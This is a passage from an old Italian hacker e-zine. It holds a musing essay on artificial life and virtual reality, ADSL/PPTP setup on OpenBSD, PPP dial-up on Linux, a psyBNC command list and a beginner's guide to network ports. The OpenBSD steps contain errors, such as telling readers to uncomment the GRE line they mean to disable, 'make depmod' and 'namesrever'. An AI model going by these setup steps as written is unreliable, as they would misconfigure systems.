deve uccidere 5 cattivoni. Gia', perche' lo sapete tutti (vero? :P), Batty ed i suoi
compagni altro non erano che "replicanti", un parto di ingegneria genetica e robotica
pensato per essere migliore dell'uomo, contro il quale ci si era premuniti fissando
nel suo codice genetico una durata, predestinando irreversibilmente la sua morte.
Vita artificiale. Uno spettro che incombe, dopo tutto... clonazione e genetica sono
ormai delle realta', allo stesso tempo affascinanti e terrificanti. Creare la vita...
che poi, uno inizia a parlare di vita, e si sente il bisogno di definire cosa significhi
"vivere". Qualcosa che cresce/si evolve, si riproduce, muore, è vivo?
Di solito si usa definire cosi' qualcosa di vivo, qualcosa che fa le cose che ho appena
scritto. Ma poi, ci pensate a quanto è vaga, 'sta definizione. Ecco, prendiamo il noto
virus Hybris, ormai sparso a macchia d'olio (me ne saranno arrivati una quarantina in casella,
roba che veniva voglia di fare la collezione, dati i diversi nomi...).
Si evolve? Si', perche' una volta che ha infettato una macchina, quando
questa è online, cerca e scarica dei suoi plug-in, li ingloba e li usa.
Aggiungete che a quanto so è stato reso noto come scrivere un plug-in per tale virus,
quindi chiunque ne sia capace puo' dotarlo di nuove funzionalita'... confesso,
questa è una cosa che me lo rende simpatico, anche a me che di solito schifo
il virus writing in quanto spesso distruttivo.
Passiamo al punto due... si riproduce? Eh, si', questa è scontata, per un virus:
altrimenti non si spiegherebbe la loro diffusione.
Dei virus modificano file inserendosi dentro di loro mediante pazzeschi spezzoni
di codice assembler, Hybris semplicemente si autospedisce anonimamente a tutti
coloro che si hanno in rubrica in Outlook Express.
Ed un virus, muore? Ehehe, bella questa... praticamente Norton, McAfee e co.,
con i loro antivirus, si possono considerare delle bande di killers ;)
Ok, ora che vi ho convinto che un virus informatico puo' essere un rozzo
esempio di vita artificiale (come evitare di farsi cacciare dalla redattura di
una e-zine hacker introducendo elemeni in tema, anche quando sembra che non
c'azzecchino nulla) passiamo avanti.
Avanti dove? Ah, non lo so, sono le 3.25 di notte, non ho una donna, mica
posso permettermi di pensare prima di scrivere.
Va', apriamo una piccola parentesi sull'intelligenza artificiale, strettamente
legata alla vita artificiale. Lo ammetto, questa è una cosa che mi affascina.
Dai vecchi programmini per simulare l'evoluzione di una colonia di formiche virtuali,
a, perche' no, le intelligenze dei BOT di Quake III, a volte piu' temibili
ed imprevedibili di un avversario umano. (Vabbe', Norm_the_ripper dira' che
dico cosi' solo perche' nelle rare partite che facciamo vince sempre lui,
ma in confidenza: è solo perche' io ho un Celeron500 e lui un Athlon 900
con una GeForce2, vuoi mettere la fluidita'?). C'è tanta gente che fa
esperimenti in merito, universita', laboratori di ricerca... robot che analizzano
mediante sensori quello che li circonda, che si muovono di conseguenza, evitando ostacoli,
muovendo oggetti... tentativi di simulare l'intelligenza umana, con simulazioni
pazzesche di reti neurali, o magari con la strana "logica fuzzy"... beh, pensate
ad una cosa banale, non so, un braccio robotico che con fotocellule, telecamere e
chincaglierie high-tech del genere mappa un tavolo con dei bicchieri,
magari tutti vuoti tranne uno. Mettiamo che questo robot sia stato appositamente
programmato, che abbia in memoria una descrizione da lui interpretabile di bicchiere,
del suo uso, del prediligere un bicchiere pieno ad uno vuoto, ecc.,
con tutte le varianti del caso. Ok, si preme un pulsante, il robot analizza l'ambiente,
confronta le informazioni tratte dall'analisi con quelle che ha in memoria,
e si regola di conseguenza: individua il bicchiere pieno, e poi calcola i movimenti
che deve fare il suo braccio per raggiungerlo ed afferrarlo... velocita',
coordinate all'interno dello spazio tridimensionale, percorso ottimale ecc...
E ora, ancora una volta il parallelo uomo/macchina... cosa fai tu se vuoi prendere
un bicchiere? In pratica, le stesse cose... ti guardi attorno, i 5 sensi sono i tuoi sensori,
piu' complessi di qualsiasi aggeggio tecnologico ora esistente...
i segnali arrivano al cervello, che similmente a quanto è accaduto col robot
confronta le informazioni acquisite al momento con quelle immagazzinate nella vostra
capoccia... e poi partono i segnali nervosi ai muscoli che impiegherete per prendere
il bicchiere.
E' solo una questione di complessita'. Solo questione di tempo perche' la tecnologia
possa arrivare ad emulare la complessita del cervello umano. Cosa succedera' allora?
Eh, speriamo bene... c'è chi dice che la razza umana, come ogni altra,
è destinata a soccombere lasciando il nostro pianeta azzurro a nuovi esseri viventi.
Vabbe', tanto noi possiamo stare tranquilli, ce ne vorra' di tempo... Neuromante,
Invernomuto, HAL9000 e compagni... intelligenze artificiali parto delle menti
visionarie di William Gibson e Arthur C. Clarke, che in un modo o nell'altro
rivendicano la propria vita, l'essere qualcosa di piu' di un insieme di 0 ed 1.
HAL9000 uccide, ma lo fa solo perche' ha paura di essere spento. Sarebbe la sua *morte*.
Vabbe', basta parlare di cose cosi' "concrete" :))
Gia', perche' troppe cose sono state date per scontate... vivere, ok, ma dove e come?
Tu che stai leggendo, si', sei sicuro di essere vivo, ma oltre a quello cosa sai?
Niente, non sai niente. E' per questo che si ha paura della morte, credo.
Morte... a volte mi vengono a parlare di vita dopo la morte, si ciarla (con tutto
il rispetto di chi legge) di reincarnazioni, paradisi pieni di donne nude ed
inferni fiammeggianti dove vagano anime castigate (che siano tutti i tamarroni
che girano per Salerno?).
Beh, quando mi dicono cose del genere mi viene da ridere.
"Secondo te cosa c'è dopo la morte?"
"Io mi accontenterei di capire cosa c'è prima".
La realta'... gia', cose tangibili, che capiamo... composizione chimica di tutto cio'
che ci circonda, fino a giungere ad atomi e quark... leggi fisiche... astronomia...
ma dove si arriva? Da nessuna parte. Alla fine, continuiamo a non saperne un ca77o di
quello che c'è alla base. Se voi siete convinti che sia tutta opera di un Dio, beati voi:
per me è una risposta troppo banale, non c'è sfizio a chiudere la questione cosi'.
"Dio è onnipotente ed è il creatore". Cioe', si', ci vuole assai a risolvere
la questione cosi'! Sette parole, e via... mah. Vabbe', chiudiamo la questione
religiosa, va', che gia' vedo gli esponenti di qualche organizzazione
inquisitrice che mi vogliono venire a prendere sotto casa, in quanto sacrilego e blasfemo... ;)
Mi stavo chiedendo cos'è la realta'. Gia', perche' sto riprendendo 'sto file dopo
un paio di settimane.
Si', sono di nuovo alle 3.40 di notte a scrivere senza pensare a cosa sto scrivendo.
O almeno a non pensarci troppo, altrimenti finisce che mi convinco che potrei stare
facendo qualcosa di meglio.
E se mi convinco che potrei stare facendo qualcosa di meglio, non mi chiedo piu' cosa
sia la realta'.
Potrei abbreviare con un "vediti Matrix", ma sarebbe poco elegante. Ho stile, io. :)
"Questo non è reale?
Che vuol dire reale? Dammi una definizione di reale. Se ti
riferisci a quello che percepiamo, a quello che possiamo odorare, toccare e vedere,
quel reale sono semplici segnali elettrici interpretati dal cervello." (Morpheus, Matrix)
Gia'. Perche' per quanto inverosimile e fantasiosa, una visione come quella di Matrix
potrebbe anche essere azzeccata.
Il problema è che anche nell'ipotesi che ci si riuscisse a spiegare da cosa e come è
generata la realta' che percepiamo, resterebbe sempre da spiegarsi cos'è l'ambiente
nel quale ci si spiega cos'è la realta' (che frase contorta).
Perche' se Morpheus & co. sono consapevoli dell'esistenza della Matrice, l'immenso
programma che emula perfettamente il reale, continuano a non sapere dove si trovano
quando sono fuori da Matrix.
E' quella la realta'? E come si fa ad esserne sicuri? E se è quella, cos'è?
Domande senza risposta.
("Le 20:30", "via Mazzini", "un drink".
Risposte senza domande. Ehehe. :) )
Matrix... in pratica, una perfetta realta' virtuale.
Mi piace molto l'idea della realta' virtuale.
Interazione fisica con un ambiente che non esiste materialmente.
Vedi un oggetto in un visore, disegnato in tempo reale da un software che lo
adegua al tuo punto di vista. Grafica 3d, insomma. Il bello, pero', viene quando allunghi
una mano e puoi sentire i bordi dell'oggetto, il suo peso... puoi prenderlo, lanciarlo...
A quanto so, si fanno prove del genere con delle speciali tute formate da piccoli
cuscinetti gonfiabili... un segnale arriva ai cuscinetti appropriati all'azione compiuta,
che si gonfiano ad una certa pressione... ed ovviamente si avverte la forza del
cuscinetto spingere, come se fosse l'oggetto virtuale a pesare, ad esempio.
Fai per prenderlo da sotto, ed ecco i cuscinetti sul palmo gonfiarsi simulando la sua presenza.
Tratterro' gli esempi inerenti le tutine erotiche per fingere di avere
ancora senso del pudore (bwahahah).
Passare dai cuscinetti all'azione diretta sulle terminazioni nervose, come
si ipotizza in Matrix, non credo sia qualcosa di -relativamente- difficile...
Beh, ora vorrei farvi pensare ad una cosa.
Probabilmente tutti voi avrete in vita vostra fatto una partita al rivoluzionario
Wolfenstein 3D, il primo sparatutto in -falso- 3D della storia dei videogames.
Magari ricorderete lo stupore che assaliva chi ci giocava per la prima volta.
La sensazione di profondita', di movimento realistico.
Ma provate a lanciarlo ora. "Che cagata 'sto gioco", direte. Gia', perche' è del
tutto sorpassato, ormai...poi lanciate Quake III, o che so, Soldier of Fortune.
Migliaia e migliaia di poligoni a video (mentre in Wolf3D c'era si e no qualche muro),
leggi fisiche a controllare i colpi, trasparenze, illuminazione dinamica,
texture dal realismo impressionante... spari nell'acqua, e vedi cerchi concentrici
allargarsi dal punto nel quale è arrivato il proiettile.
Senti i bossoli cadere tintinnanti alle tue spalle, o vedi un muro sporcarsi del
sangue tuo o di un nemico vicini a quel muro mentre venivano colpiti.
E quanto tempo è passato dall'ormai squallido Wolf3D? Saranno si' e no 10 anni.
E pensate che sto parlando solo di videogames, non di simulazioni professionali
come quelle che si usano ad esempio nell'ambito dell'ingegneria,
dei crash tests di auto e simili...
Come saranno le cose tra qualche decina d'anni? Riuscite ad immaginarlo?
Io si'. Io immagino... la soglia.
Perche' per quanto complessa sia la realta' come noi la conosciamo, nel momento in
cui sara' possibile simulare perfettamente gli atomi degli elementi fondamentali,
poco piu' di un centinaio, sottoponendo questi atomi a tutte le leggi fisiche
conosciute e facendoli interagire tra loro, non sara' possibile distinguere la
realta' dalla simulazione.
Per il semplice fatto che neanche nella realta' si puo' "vedere" oltre... (e non vi
mettete a cianciare di quark e simili che tanto avete capito quello che voglio dire :P)
Increduli? Eh, magari avete ragione voi, magari no.
La sicurezza completa non esiste (e non parlo solo di sicurezza informatica ;))
Ancora una volta, è solo una questione di complessita', di scala... come la
robotica e/o la genetica potrebbero portare ad un replicante, androide,
cyborg o come vogliate chiamarlo anche migliore dell'uomo, che altro non è che
un'affascinante ed infinitamente complessa macchina biochimica comunque non
priva di difetti, la realta' virtuale potrebbe arrivare ad avere un livello
di "dettaglio" tale da rendersi indistinguibile dalla realta' come noi la conosciamo,
come accade appunto in Matrix. Una volta avuto il controllo totale, appunto,
non si sarebbe obbligati a simulare solo leggi fisiche & co., ma si potrebbe
creare una nuova fisica piu' comoda... (in Matrix, da un certo punto di vista,
la possibilita' di compiere qualsiasi azione - salti e simili - si puo'
interpretare come un hack della Matrice, che è possibile compiere solo una volta
acquisita la consapevolezza... non a caso anche prima di uscire da Matrix Neo e Trinity -
e un po', a quanto sembra, un po' tutto il gruppetto di Morpheus -
sono hackers ("..programmatore di giorno, hacker di notte...." - ".. quella trinity?
Quella entrata nel database del fisco?").
(Feww, ce l'ho fatta, ho ricondotto di nuovo il discorso all'hacking,
forse Syn non mi caccia neanche questa volta ;))
Ero rimasto alla questione di scala, eh? Bueno, gia' che ci siamo pensiamo un
attimo a quanto siamo insignificanti in confronto all'universo.
Tu che stai leggendo, non sei altro che un ammasso di atomi che formano uno dei
5 miliardi (e passa) di essere umani che abitano la Terra.
La Terra è un pianeta abbastanza piccolo appartenente al sistema solare.
Insieme ad altri pianeti orbita attorno alla stella Sole, ed il sole non è che una
delle circa 500000 stelle che formano la nostra galassia, la Via Lattea.
La via lattea non è che una delle tante galassie che formano l'universo conosciuto.
Vi siete mai chiesti cosa c'è oltre entrambi gli estremi?
Pensate a come percepisce il mondo che lo circonda un insetto molto piccolo... non so,
una mosca... tutto le appare muoversi molto piu' lentamente di quanto sembri a
noi (ed infatti giudichiamo "veloce" una mosca), perche' è piccola rispetto a noi... noi
che ad esempio giudichiamo lento lo spostarsi del sole... ma tutto cio' è ancora
comprensibile, si è lontati dagli estremi.... e se una galassia come noi la conosciamo
non fosse che un atomo da un altro punto di vista?
Beh, spero di avere eliminato dalle vostre menti qualcuna di quelle gia' scarse
certezze che vi si trovano... perche' se si è certi di qualcosa, la si da' per scontata e
non ci si pensa...
E se non si pensa, si perde... la sconfitta peggiore, perche' il nostro pensiero è l'ultimo
gradino in fatto di complessita', impossibile da emulare con efficacia al giorno d'oggi...
...è quello che ci permette di distinguerci dagli animali e dalle macchine e che
ironicamente, allo stesso tempo, potrebbe permettere di creare qualcosa di piu'
complesso di noi stessi... per giungere li', dove nessun uomo (?) è mai giunto prima.
...ah, se l'uomo crea una forma di vita (?) anche migliore di se', ed è capace di
preparargli un ambiente adeguato, reale (?) o virtuale (c'è differenza? Quale?) che sia,
cosa impedisce di definirlo Dio?
...
ehm...
...ok, ho capito, vi ho fatto 2 palle cosi' :)
beh, dai, riprendetevi un po'...
- Cosa fanno 100 Pentium uno dietro all'altro?
.
.
.
.
.
.
.
.
.
.
.
.
.
.
- Una microprocessione! :)
out, il vostro (ma solo delle amabili lettrici, sperando che ce ne siano)
Ghent
__________________________
/ \______-H@Team-______/ \
|__/Share the knowledge!\__|
|mailto:ghent@hackersat.com|
| http://www.hackersat.com |
\ http://www.accaet.da.ru /
--------------------------
_____________________________________________________________________________
"I've... seen things, you people wouldn't believe.
Attack ships on fire off the shoulder of Orion.
I watched C-beams glitter in the dark near the Tannhäuser Gate.
All those... moments, will be lost... in time, like... tears... in the rain.
Time... to... die."
(Roy Batty - Blade Runner)
_____________________________________________________________________________
/===========================::=============================::=================/
/ /Utilizzare l'adsl con OpenBSD / oVERDRIVE /
/===========================::=============================::=================/
Come utilizzare un servizio ADSL, con un modem Alcatel, e naturalmente un sistema operativo Open BSD.
Dunque, mi presento, mi chiamo oVERDRIVE, e ho scritto qusto articoletto, che poi è una traduzione che ho modificato, per far si che gli utenti di OpenBSD possano trovare delle informazioni per configurare il proprio sistema operativo e usufruire del servizio ADSL.
Iniziamo subito con il dire che vi occore un file chiamato pptp-obsd.tar.gz, ovvero Point to Point Tunneling Protocol, lo trovate tra i ports:
# mount /
oppure lo potete scaricare al seguente url:
http://www.f00bar.net/dl/pptp-obsd.tar.gz
http://www.packetst0rm.net/html/projects/howto/pptp-obsd.tar.gz
http://www.bsdfr.org/doc/pptp-open-1.0.2.tar.gz
una volta scaricati i sorgenti, scompattateli ed installateli:
% make
% make install
Se qualcosa non dovesse andare per il verso giusto copiate a mano i file:
pptp, e pptp_callmgr nella directory /usr/bin
% cp pptp /usr/bin
% cp pptp_callmgr /usr/bin
Create il file /etc/ppp/options, e inseritegli le seguenti rige:
name "NOMELOGIN"
noauth
noipdefault
defaultroute
debug
Naturalmente il campo "NOMELOGIN" deve essere sostituito con la login che vi ha assegnato il vostro provider.
Create ora il file chiamato /etc/ppp/pap-secrets, e inserite al suo interno le seguenti rige:
NOMELOGIN 10.0.0.138 PASSWORD
Come nel file precedente, il campo NOMELOGIN va sostituito con lo stesso campo
usato precendentemente, il campo PASSWORD va sostituito con la password che vi ha
assegnato il vostro provider.
L'indirizzo 10.0.0.138, è l'indirizzo di default che indica fisicamente il vostro modem
Alcatel, quindi una volta configurata l'interfaccia alla quale è connesso il modem
(vi spiego dopo come fare), potete fare un semplice ping -c1 10.0.0.138, ed
esso vi risponderà. L'unico utente che deve leggere questo file è l'utente
root, quindi settate pure i permessi di lettura e scrittura al solo utente root
con il seguente comando:
% chmod 600 /etc/ppp/pap-secrets
Giunti a questo puno dobiamo inserire i nomi dei server DNS, del vosrto provider
nel file /etc/resolv.conf (se non esiste createlo):
namesrever 212.216.112.112
nameserver 212.216.172.62
Ho inserito gli ip dei server DNS del mio provider (non dovrei fare publicità), voi inserite i vostri.
Come vi dicevo prima, ora dovete configurare la vostra interfaccia di rete alla quale
è connessoil modem Alcatel. Assegnate alla medesima
un indirizzo ip che faccia parte della rete 10.0.0.0/24, ad esempio : 10.0.0.1:
% ifconfig INTERFACCIA inet 10.0.0.1 netmask 255.255.255.0 broadcast 10.0.0.255
Sostituite il campo INTERFACCIA con in nome del dispositivo, nel mio caso il modem si trova connesso alla scheda eternet 0 quindi lr0.
Per rendere queste modifiche sull'interfaccia in modo permanete, bisogna modificare
il file /etc/hostname.INTERFACCIA (nel mio caso /etc/hostname.rl0) nel modo seguente:
inet 10.0.0.140 255.255.255.0 NONE media autoselect
Bon, ora siete pronti per connettervi,
%pptp 10.0.0.138&
e per chiudere la connessione potete killare i processi:
% kill -9 [numero del processo del pppd]
% kill -9 [numero del processo del pptp]
Se avete dei problemi con la connessione fate riferimento al file di log /var/log/messages potete monitorare il tutto con il seguente comando:
% tail -f /var/log/messages
Se la vostra connessione alla rete resta in piedi solamente qualche manciata di secondi,
molto probabilmente vi trovate di fronte ad un problema con lo pseudo device GRE, che se
attivo nel kernel cattura tutti i pacchetti GRE e il PPTP non riesce a vederli !!!! causandone un time out.
Se fate riferimento al file di log sopracitato (/var/log/messages), vi troverete una dicitura simile a questa:
LCP:Timeout sending Config-Request
Potete provare a disabilitare lo pseudo device GRE usando il comando "sysctl"
% sysctl -w net.inet.gre.allow=0
Se non dovesse funzionare, cosa molto probabile (nella versione 2.9, ad esempio non funzione), allora
la soluzione è la ricompilazione del kernel !!!
Non temete non è una cosa difficile.
Naturalmente, non serve che ve lo dica io, dovete avere i sorgenti del kernel, se non li avete, scaricateli.
Questa modifica del kernel serve solo a disabilitare la GRE pseudo device:
Aprite il file /usr/src/sys/conf/GENERIC
Decommentate la riga: option pseudo-device GRE
Per decommentare una riga intendo la cancellazione del simbolo #
ora entrate nella dir che corrisponde alla vostra macchina (mi riferisco all'architettura)
es: /i386 se avete una macchina con architettura intel
% cd /usr/src/sys/arch/i386/conf
bene compiliamo il kernel con la modifica che abbiamo appena apportato:
% config ./GENERIC
% cd ../compile/GENERIC
% make depmod
% make
Bene, una volta compilato il kernel bisogna copiarlo nella directory / con il nome "bsd.2"
% cp bsd /bsd.2
Rebootate... non è una parlaccia... dovete riavviare la macchina, e durante il prompt del loader, digitiamo "bsd.2"
boot:bsd.2
Provate ora a connettervi, dovrebbe essere andato tutto per il verso giusto, e se
vi da fastidio oppure vi reca impedimenti immettere bsd.2 ad ogni prompt di boot, potete salvare il vostro
vecchio "kernel", con il nome di bsd.old (ad esempio), e rinominare bsd.2 con il nome bsd
% cp /bsd /bsd.old
% mv /bsd.2 /bsd
In questo modo il boot caricherè direttamente il kernel da voi compilato.
Per la ricompilazione del kernel potrete trovare su questo sito, le relative traduzioni e riferimenti.
In aggiunta a questo articoletto, potrete scaricare uno scriptino che in modo automatico
si riconnette alla rete, quando si verificano dei problemi, tramite il crontab:
é stato scritto da Peter Chiocchetti.
Un ringraziamento fa fatto a:
* Hopfer Alois from www.inode.at for pointing me to the FreeBSD howto
* Lukas Ertl for the FreeBSD howto that can be found at http://mailbox.univie.ac.at/~le/freebsd+adsl-howto.html
* the openbsd mailing list people who gave me a lot of hints
/===========================::=============================::=================/
/ /Connettersi con Linux / oVERDRIVE /
/===========================::=============================::=================/
In Linux si usano due programmi, essenzialmente:
"chat" che invia i comandi al modem
"pppd" , il demone che instaura il dialogo secondo il protocollo ppp con il server dell'ISP.
I files su cui interverremo sono sostanzialmente 5:
/etc/ppp/pap-secrets
/etc/resolv.conf
/etc/host.conf
/bin/ispup
/bin/ispdown
Come si può intuire tratterò il caso di accesso con autenticazione PAP.
Innanzitutto dovremo inserire il nostro username e password, comunicateci
dal provider, nel primo di questi files, in questo modo:
# /etc/ppp/pap-secrets
username * password *
# fine
Poi dovremo modificare il secondo, che semplicemente indica al nostro sistema
i dns da usare durante la connessione, controllando che compaiano le righe:
# /etc/resolv.conf
search dominioprovider.it
nameserver 111.222.111.222
nameserver 222.111.222.111
# fine
dove ovviamente dovremo inserire i dati forniteci dall'ISP al momento della
stipulazione del contratto al posto degli esempi che ho scritto :)
Poi bisogna comunicare al sistema in che modo deve risolvere i nomi dei
computer sulla rete (non importa se non avete una rete locale e l'unica rete
per voi è internet, dovete specificarlo lo stesso...). Per fare questo
bisogna operare su /etc/host.conf.
# /etc/host.conf
order hosts,bind
multi on
# fine
Fatto tutto ciò il nostro sistema è pronto, e possiamo quindi passare alla
realizzazione dei veri e propri script di connessione, cioè quelli che
eseguiremo quando vorremo connetterci o disconnetterci.
Questo per connettersi:
# /bin/ispup
IP_ISP="0.0.0.0"
IP_LOCALE="0.0.0.0"
DISPOSITIVO="/dev/modem" # oppure il nome della seriale
VELOCITA="57600"
TELEFONO="0123456789"
NOMEUSER="username"
/usr/sbin/pppd \
connect "/usr/sbin/chat -v \
TIMEOUT 3 \
ABORT BUSY \
ABORT 'NO CARRIER' \
'' \dATZ \
OK \dATX0 \
OK \dAT\d$TELEFONO \
TIMEOUT 60 \
CONNECT '' " \
user $NOMEUSER -d \
-detach crtscts modem \
defaultroute noipdefault \
$IP_LOCALE:$IP_ISP \
$DISPOSITIVO \
$VELOCITA
# fine
e questo per disconnettersi
# /bin/ispdown
kill -INT `cat /var/run/ppp0.pid`
# fine
A questo punto, se volete collegarvi senza essere loggati come root, la via
più semplice anche se la meno sicura è quella di dare i permessi di
esecuzione degli script a tutti gli utenti (oppure vi create un gruppo di utenti
apposito) e di dare il bit di suid group al pppd.
Per connettervi digitatte al prompt "ispup&" (la & serve a mandare in back-
ground il processo, in modo che abbiate ancora libera la shell per copiere
altre operazioni.
Tutto ciò che ho scritto è stato il frutto di un "collage" tra consigli di
altri utenti e l'ISP-hookup-Howto. Consiglio anche di dare un occhiata a
questo documento e alla documentazione dei vari programmi citati ("man pppd"
e "man chat").
oVERDRIVE
/===========================::=============================::=================/
/ /psyBNC help / syn /
/===========================::=============================::=================/
eccovi la traduzione in italiano dei comandi del psyBNC, infine vi metto quelli
+ necessari e + di uso frequente :
Ricordatevi solo che 0=disattiva 1=attiva
/BHELP guida ai comandi
/BWHO lista di tutti gli utenti
/VHOST setta il vhost per la connessione
/PROXY setta il proxy per la connessione
/SETUSERNAME setta il tuo username
/SETAWAY testo setta il messaggio di away
/SETLEAVEMSG setta il messaggio di quit
/LEAVEQUIT 1/0 se attivato esce da tutti i chan alla disconnessione
/SETAWAYNICK setta il nick di away quando sei disconnesso
/JUMP salta al prossimo server della lista
/BQUIT esce dalla connessione
/BCONNECT si connette
/AIDLE attiva/disattiva l'antiidle
/AUTOREJOIN attiva/disattiva l'autojoin
/ADDSERVER aggiunge un server nella lista
/DELSERVER numero cancella il server dalla lista
/LISTSERVERS lista corrente dei server
/ADDNETWORK aggiunge una rete al client
/DELNETWORK cancella la rete dal client
/ADDOP aggiunge un utente (che viene oppato da te)
/DELOP cancella un utente (che viene oppato da te)
/LISTOPS lista di tutti gli utenti op aggiunti
/ADDAUTOOP aggiunge un utente che si oppa automaticamente da te
/DELAUTOOP elimina l'utente auto op
/LISTAUTOOPS lista degli auto op
/ADDBAN aggiunge un ban (globale o in un chan)
/DELBAN numero elimina un ban
/LISTBANS lista dei ban
/DCCANSWER risponde alle richieste di dcc chat
/DCCCHAT richiede una dcc chat all'utente
/DCCSEND invia un file da un utente
/DCCGET preleva un file da un utente
/AUTOGETDCC preleva sempre file inviati
/DCCCANCEL cancella la dcc chat o il traferimento
/PLAYPRIVATELOG legge i logs
/ERASEPRIVATELOG cancella tutti i logs
/BKILL login disconnette un utente dal bounce (non lo elimina)
/PASSWORD newpass cambia la password corrente
*/MADMIN dichiara un utente come amministratore
*/UNADMIN revoca i diritti di amministratore da un utente
/ACOLLIDE disattiva/attiva acollide
/SOCKSTAT visualizza l'elenco di sockets aperti, il traffico in uscita ed entrata,
la criptatura, lo stato, il tempo di apertura ed altre informazioni.
Ecco il mio minuscolo contributo :)
Se siete sfaticati visitatevi www.psyfree.da.ry ; eh si avete capito bene,
un mio amico non aveva niente da fare così si è messo a distribuirli, voi provate,
penso che adesso ci abbia ripensato :)
syn
www.accaet.da.ru
www.brokerall.da.ru
synarckio@yahoo.it
/===========================::=============================::=================/
/ /Cosa sono le porte ? / Screenet_it /
/===========================::=============================::=================/
Screener_it è tornato ragazzi !!!!
Come ? Te ne eri andato ? Non c'eravamo accorti che mancassi !!!
Grazie !! Scherzi a parte, con questo insulso articolo riprendo a scrivere articoli
per il sito.. Era da un bel po' che non scrivevo niente.. Per fortuna che sui txt non
metto mai le date altrimenti..
Passiamo ad altro.. Di che parleremo oggi ? Parleremo di porte !!!
Cominciamo subito: vicino al mio computer c'è una porta in legno, montata sui dei cardini..
La struttura è molto interessante... SCHERZO !!!! Oggi parleremo di altre porte !!
Parleremo di porte del computer.. Vabbè, io vado, eh..
/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\
\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/
Come ben sapete quando un computer è collegato in internet ha un suo indirizzo IP..
Sì, fin qui c'eravamo..
Pensate a un computer, pensate a un server.. Quanti servizi offre ? Può offrire l'accesso
FTP, HTTP, SMTP, POP3, NEWS.. Tanti servizi insomma.. E come fa a gestirli contemporaneamente ?
In teoria ci vorrebbe un computer per ogni singolo servizio.. QUindi uno per l' FTP, uno per l'HTTP, uno per il POP3..
Eh, sì, e poi ??? Allora per mettere in piedi un sito dobbiamo comprarci una casa solo per farci stare solo i computer..
In più ogni computer sarebbe collegato in rete con un altro indirizzo IP.. Che sega!!
Adesso pensate a noi.. Quanti programmi per chattare avete installati sul computer ? ICQ, C6, Yahoo Messanger, mIRC.. E magari intanto che chattate con questi programmi navigate sul world wide web (www) e vi caricate il vostro sito con l'FTP..
Ma come cazzo fa il computer a reggere tutte queste informazioni che viaggiano ? Non c'è pericolo che i dati si mischino ? NOn ci avevate mai pensato ? Ahi, ahi, ahi..
Proprio per evitare che i programmi mischino i loro dati mentre li trasmettono (in questo caso sarebbero in CONFLITTO) e si disturbino a vicenda esistono le porte..
Per capirci meglio pensate di entrare nell'edificio comunale del vostro paese.. Bene, quello è il server.
Ora, a voi serve un documento d'identità.. Dove andate ? All'ufficio anagrafe, ovvio.
Se invece foste avete bisogno di parlare direttamente con il sindaco ? Andate al suo ufficio, ovvio.
Le porte sono un po' come gli uffici.. Ognuna di esse svolge un determinato servizio, che non può essere svolte dalle altre.
Pensare a un server (o a un computer) senza porte sarebbe un po' come immaginare tutto gli uffici comunali in unico stanzone immenso e senza nessun cartello.. Immaginate di trovarti in questo stanzone enorme, tutto attorniato da persone che vagano per la stanza.. Fermate la prima persona :
"Scusi, per fare la carta d'identità dove vado?"
"Non lo so.. Provi da quella signora laggiù"
"No, non si deve rivolgere a me.. No, non lo so chi le può essere utile.."
Tempo 3 secondi e uno impazzirebbe... Con le porte invece è tutto più semplice.
A ogni porta è affidato un certo servizio, così si evitano le confusioni.
-Ok, abbiamo capito a cosa servono le porte... Ma quante sono ?
Ogni computer ha a disposizione porte a partire da 0 fino a 65535. Ogni porta ha una sua particolare funzione, che volendo ognuno può programmare..
-Ma cosa risponde alla porta ?
Alle varie porte rispondono i demoni.. Aiuto, c'ho paura !! Niente paura, ragazzi !! I demoni non sono altro che programmi che si mettono in ascolto su una data porta e quando qualcuno spedisce qualche comando a quella porta loro lo eseguono.. Sempre che il "demone" riconosca il comando che gli viene spedito..
Per vedere se ci sono demoni attivi sul vostro computer basta che andiate nel prompt di dos e digitiate netstat -an
Se trovate qualcosa tipo
0.0.0.0 1005 LISTENING
Vuol dire che c'è un demone che è in ascolto sulla porta 1005 che attende istruzioni.. Il più delle volte i demoni sono programmi innocui, come ICQ che si mette in ascolto per vedere quando il computer è online.. A volte cmq i demoni possono anche essere virus, come Back Orifice e Netbus, che si mettono in ascolto ed attendono che qualche lamerazzo di merda li attivi.. Per informazioni più approfondite vedi la sezione "Virus Zone" del sito del Tank Commandos.
-Ma come mai esistono tante porte ? Dalla 0 alla 65535 sono ben 65536 porte !!
Esistono così tante porte x evitare al massimo i conflitti tra i vari programmi.. E' difficile che 2 demoni siano in ascolto sulla stessa porta, se i programmatori dei 2 hanno potuto scegliere fra 65536 porte!!!
Alcuni servizi comunque usano porte che tutti conosco e che sanno quindi che non possono utilizzare..
Sono i servizi ben noti ed occupano le porte al di sotto della 1024.. Quindi se un giorno farete un programma di chat ricordatevi di indicare come porta di ricezione messaggi e di invio due porte superiori alla 1024.. Un consiglio: per evitare al massimo i conflitti vi conviene usare porte molto alte, sopra le 31000 !!! State sicuri che lì di conflitti ne troverete pochi !!!
-Hai parlato di porte i cui servizi sono ben noti... Quali sono ?
Allora.. Dipendono dal sistema operativo e dall'utilizzo che viene fatto del computer.. Cmq le porte principali sono:
|-------------------|
| PORTA | SERVIZIO |
|-------------------|
|----7---|---ECHO---|
|---21---|---FTP----|
|---23---|--TELNET--| (SOLO UNIX)
|---25---|---SMTP---|
|---37---|--SERVER--|
|---43---|---WHOIS--|
|---79---|--FINGER--|
|---80---|---HTTP---| (A VOLTE LA PORTA PUO' ESSERE LA 8080)
|--110---|---POP3---|
|--119---|---NEWS---|
|--------|----------|
In genere a queste porte rispondono questi servizi (demoni) ma possono variare.. Nel 99% dei casi almeno queste porte sono giuste..
Potete trovare tutte le porte "Well Know Services" nel file services che in WIn 98 si trova in c:\windows
Mi pare di aver esaurito l'argomento.. Passiamo a un paio di dediche, che no fanno male..
/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\
\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/
GRAZIE A:
Bakunin - 6 un mito !!!! Buona maturità !!!
Marina - Gli occhi + belli che ho mai visto !!!
